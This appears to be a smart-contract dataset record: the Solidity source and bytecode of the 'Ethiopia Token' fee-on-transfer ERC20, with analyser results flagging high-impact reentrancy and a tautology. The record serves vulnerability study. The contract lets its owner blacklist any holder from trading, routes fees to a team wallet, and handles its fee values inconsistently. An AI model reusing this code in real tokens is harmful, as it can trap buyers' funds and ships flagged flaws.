c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006141c5602183613029565b91506141d082614169565b604082019050919050565b600060208201905081810360008301526141f4816141b8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065a6c3cdc1fbf46e30a3e64014076545b3fd73f5ba38867f2f8a8506918dfdda64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,511 |
0xc6d5039d441612a41606a9f855f17431c1ee4789
|
/*
https://t.me/ethiopiatoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ethiopia is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ethiopia Token";
string private constant _symbol = "eth \xf0\x9f\x87\xaa\xf0\x9f\x87\xb9";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 7;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129ad565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612e4e565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612971565b6105ad565b6040516101a09190612e33565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190612ff0565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612922565b6105dc565b6040516102089190612e33565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a9190613065565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129ee565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612894565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612894565b610e2e565b6040516102f09190612ff0565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612d65565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612e4e565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612971565b611038565b60405161039a9190612e33565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a40565b6110d0565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128e6565b611219565b6040516104179190612ff0565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f50565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613306565b9150506104b8565b5050565b60606040518060400160405280600e81526020017f457468696f70696120546f6b656e000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b600068056bc75e2d63100000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a58560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612f50565b60405180910390fd5b600e60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612e90565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094291906128bd565b6040518363ffffffff1660e01b815260040161095f929190612d80565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612dd2565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612da9565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612a17565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612f50565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612f50565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d02565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612f50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f65746820f09f87aaf09f87b90000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611d70565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612f50565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f10565b60405180910390fd5b6111d760646111c98368056bc75e2d6310000061206a90919063ffffffff16565b6120e590919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120e9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f90612fb0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612ed0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114669190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612e70565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612f70565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600e60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183490612fd0565b60405180910390fd5b5b5b600f5481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600e60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b600f42611a719190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600e60159054906101000a900460ff16158015611b2d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600e60169054906101000a900460ff165b15611b6d57611b5381611d70565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c8484848461212f565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612e4e565b60405180910390fd5b5060008385611c899190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cfe573d6000803e3d6000fd5b5050565b6000600654821115611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4090612eb0565b60405180910390fd5b6000611d5361215c565b9050611d6881846120e590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfc5781602001602082028036833780820191505090505b5090503081600081518110611e3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edc57600080fd5b505afa158015611ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1491906128bd565b81600181518110611f4e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201995949392919061300b565b600060405180830381600087803b15801561203357600080fd5b505af1158015612047573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207d57600090506120df565b6000828461208b91906131ad565b905082848261209a919061317c565b146120da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d190612f30565b60405180910390fd5b809150505b92915050565b600061212783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612187565b905092915050565b8061213d5761213c6121ea565b5b61214884848461221b565b80612156576121556123e6565b5b50505050565b60008060006121696123f8565b9150915061218081836120e590919063ffffffff16565b9250505090565b600080831182906121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c59190612e4e565b60405180910390fd5b50600083856121dd919061317c565b9050809150509392505050565b60006008541480156121fe57506000600954145b1561220857612219565b600060088190555060006009819055505b565b60008060008060008061222d8761245a565b95509550955095509550955061228b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236c8161256a565b6123768483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d39190612ff0565b60405180910390a3505050505050505050565b60006008819055506008600981905550565b60008060006006549050600068056bc75e2d63100000905061242e68056bc75e2d631000006006546120e590919063ffffffff16565b82101561244d5760065468056bc75e2d63100000935093505050612456565b81819350935050505b9091565b60008060008060008060008060006124778a600854600954612661565b925092509250600061248761215c565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ef0565b60405180910390fd5b8091505092915050565b600061257461215c565b9050600061258b828461206a90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206a90919063ffffffff16565b6120e590919063ffffffff16565b905060006126b760646126a9888b61206a90919063ffffffff16565b6120e590919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206a90919063ffffffff16565b90506000612727868961206a90919063ffffffff16565b9050600061273e878961206a90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063f